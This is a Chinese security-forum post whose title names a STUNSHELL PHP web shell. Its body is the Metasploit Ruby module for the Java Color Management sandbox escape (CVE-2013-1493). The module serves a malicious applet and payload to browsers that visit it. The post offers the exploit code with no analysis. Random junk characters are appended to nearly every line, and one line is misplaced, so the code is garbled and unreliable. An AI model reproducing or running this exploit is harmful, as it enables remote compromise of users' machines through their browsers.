找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2145|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##, |; {& o6 ^6 s+ k6 k7 ]7 p
. _0 t3 T2 B3 @
# This file is part of the Metasploit Framework and may be subject to
# ~& ~8 V5 `. i( U& H3 v, G5 m5 l# redistribution and commercial restrictions. Please see the Metasploit* [' Z( w* h: s: E: ]% c& h. @2 D6 W
# web site for more information on licensing and terms of use.
! B" `$ s* \3 r) M' T# http://metasploit.com/0 e$ @* w5 G# y6 t" `& i* j& [6 R( |
##
2 o; v; p6 m! @* G, {5 v4 @. xrequire ‘msf/core’
7 }3 ?# E1 f/ J/ `7 Trequire ‘rex’" Q( m" [6 P. z8 ^6 e
class Metasploit3 < Msf::Exploit::Remote1 x, w# a) T  Q$ R" y; i. M
Rank = NormalRanking
) s3 A  s1 a) n$ f0 ^2 W0 Ginclude Msf::Exploit::Remote::HttpServer::HTML! {% F$ {0 J/ ~
include Msf::Exploit::EXE. V% o  w3 G- c% O! C' ?* R
include Msf::Exploit::Remote::BrowserAutopwn
- A( l: f/ X; N1 a/ b3 Fautopwn_info({ :javascript => false })! K0 ~& l# v8 U% ^$ j! A) e
def initialize( info = {} )9 I8 Q4 J* u3 G8 P3 X" t
super( update_info( info,
4 C, B0 ]1 o8 O* y+ N‘Name’ => ‘Java CMM Remote Code Execution’,
  X0 @9 j( H, r‘Description’ => %q{( S8 v3 F- L! n- t4 c4 E- ]
This module abuses the Color Management classes from a Java Applet to run
' M1 ?' t$ Y/ S* e% \7 Uarbitrary Java code outside of the sandbox as exploited in the wild in February5 o( X$ B% d) P6 X; k, a5 }
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u418 A& S" A  x& o  R$ R# j7 ]4 s( j
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP15 _: Q4 N/ f# \& @! }# r
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java9 W( {+ @7 j; g
warning in order to run the malicious applet.
& P8 T" W+ m* v6 s# X},+ d. \0 J4 f$ t# q2 G8 s; D
‘License’ => MSF_LICENSE,
0 Y5 D; O! F. f: e‘Author’ =>/ O+ r7 _8 K, |/ {
'Unknown', # Vulnerability discovery and Exploit# C, y) i# ~3 Y
'juan vazquez' # Metasploit module (just ported the published exploit)
2 k/ t1 @: o) z3 q],+ i3 W+ m/ B8 M! J
‘References’ =>8 j/ i5 m; ]- @
[4 L4 ~5 F2 p& j' u# l- @0 @: Q& u
[ 'CVE', '2013-1493' ],* Z- I; V3 \6 k* N+ w
[ 'OSVDB', '90737' ],' a) H2 W3 w" \. m; e8 x
[ 'BID', '58238' ],
% w9 m/ r1 q7 g" V% h[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
: h. W+ j5 c2 O* @; E  M; i[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
7 S# y2 j. q1 G[ 'URL', 'http://pastie.org/pastes/6581034' ]
+ i7 t/ P* L' {7 M4 @3 q],+ J8 F' U: T, x2 S% |
‘Platform’ => [ 'win', 'java' ],! ]9 y& G0 w- s
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },% I9 Z* u/ p( Y& z6 C2 g9 H6 G
‘Targets’ =>
2 f# `* D5 B7 k[" t# z) ]* Z- r( O0 I
[ 'Generic (Java Payload)',
& u4 |" w8 a" S/ j% F9 S6 w( b{
# O: k2 j3 Y1 I/ P'Platform' => 'java',8 _" y1 z" {% e- m& @2 M
'Arch' => ARCH_JAVA
- F, P/ h# U& i" _9 |, G}2 G) B$ k" V5 o* S7 p0 G: o
],( p8 M- h) l$ Y# J$ O2 I
[ 'Windows x86 (Native Payload)',8 X0 h. X& T' R
{
; n4 D8 F7 s- P. s2 y'Platform' => 'win',
% Y5 m. H3 I$ v8 a/ P( F; g'Arch' => ARCH_X86
0 `+ j' K+ {: K( M) I$ m}
1 C4 v. O9 p7 c/ c5 r6 Z]
8 l! B) B' C* `],
( k6 Y0 o, ^( D‘‘DisclosureDate’ => ‘Mar 01 2013′3 ^( G; N* ?' y
))
% H5 }, D" g$ s; m$ @" Dend0 t5 ^, d& @& @  u. a% u  [( E  W
def setup
8 p/ A) K- G# w1 u1 P2 `path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
" t! @  Z# c7 H@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }9 p  o; _) |+ [: N' p1 a! S
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)6 E, U) c2 I/ i/ a
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
( \" T9 }. W% c- d9 O/ qpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
, f7 F/ D+ W- @* f@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
3 x! G& Z5 W1 r2 J# f/ Mpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
4 E5 t5 b" Z  K& ~# }- a5 o@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }: A4 G9 N  O$ E2 g! k$ j6 T
@init_class_name = rand_text_alpha(“Init”.length)
: S' n  w& r. ]5 }$ z# l9 n@init_class.gsub!(“Init”, @init_class_name)7 g7 m, p, Q) S/ B7 ?- T. ~
super$ i7 H& k1 }6 x2 g7 z& r" O  W
end
" X+ ]  I4 Y0 n7 W  V! F2 |) ^* X9 Qdef on_request_uri(cli, request)5 _  h% |% U9 `6 o
print_status(“handling request for #{request.uri}”)) |/ \) J8 m1 I$ h
case request.uri8 z, S9 g- O- \4 q  O
when /\.jar$/i
( ]5 ?. @6 c  ~' a8 B: zjar = payload.encoded_jar' A4 v$ [8 X' U+ }6 D4 s5 q) R1 s8 J
jar.add_file(“#{@init_class_name}.class”, @init_class)! Z/ R2 m" j4 e  S; r) H: r2 h& v
jar.add_file(“Leak.class”, @leak_class)
& i' W# A4 P/ n1 w; vjar.add_file(“MyBufferedImage.class”, @buffered_image_class)
7 f' V0 o; Y' ?, _- Mjar.add_file(“MyColorSpace.class”, @color_space_class). `# j+ V/ T5 F/ G% Y) U
DefaultTarget’ => 1,/ E5 Y1 V- T  \( U0 ~/ Y( i
metasploit_str = rand_text_alpha(“metasploit”.length)
* I9 c. v; D# J2 n) Z: R2 X' Fpayload_str = rand_text_alpha(“payload”.length)
5 M# @6 w4 e+ X+ ?$ Yjar.entries.each { |entry|
; C7 z0 p8 I0 b& h: Aentry.name.gsub!(“metasploit”, metasploit_str)% x$ T) @" d* C1 ~8 @( S
entry.name.gsub!(“Payload”, payload_str)) @5 O( a3 J* v# }
entry.data = entry.data.gsub(“metasploit”, metasploit_str)4 |4 y0 A+ s" H& t  W! c4 {
entry.data = entry.data.gsub(“Payload”, payload_str)
. r% {* m) r4 V( v}
& X" F) p) C4 I1 y# M! wjar.build_manifest
8 L, p+ |# O4 }& W" b& c# Msend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })) q* ^1 ~: z. k
when /\/$/
/ `1 Z9 v% C& _4 c2 |# J& K# Spayload = regenerate_payload(cli)
; M: B! e/ t, @1 S5 z  `if not payload* J8 T$ U9 d3 U! K2 Y
print_error(“Failed to generate the payload.”), T; Q% c7 C6 A" q; ~" U
send_not_found(cli)  }7 N4 _6 v: X1 B) `, |0 Y- z
return  H) H3 _0 h- ?4 Q* a" _
end9 I  X3 |, Q, O
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
4 T6 t8 L3 V2 @( h+ [3 M; E4 y6 Gelse
+ Z0 U2 l; k1 ssend_redirect(cli, get_resource() + ‘/’, ”)+ A/ D/ ^/ [% \0 s8 c2 d
end% Y% {5 b% W4 \7 t: r
end
( D0 r6 d9 d( W% Z1 ndef generate_html; d: i5 q  Y! y8 C
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
& M/ N9 t* d4 q3 k& v1 |, Q+ Mhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|  N+ B" c& e3 s9 a) m3 k+ j
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
" a/ D6 o+ j2 |6 p* v+ T/ fhtml += %Q|</applet></body></html>|
# J& q5 P1 {9 rreturn html1 b! q* k8 r& \: C" C8 c- j" G+ P
end. A8 A7 e+ F6 a) G) n/ [5 P7 l
end
7 |  ^" H$ K# w% Z9 F( Q3 |end# `2 _) k+ V  b) E. n5 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表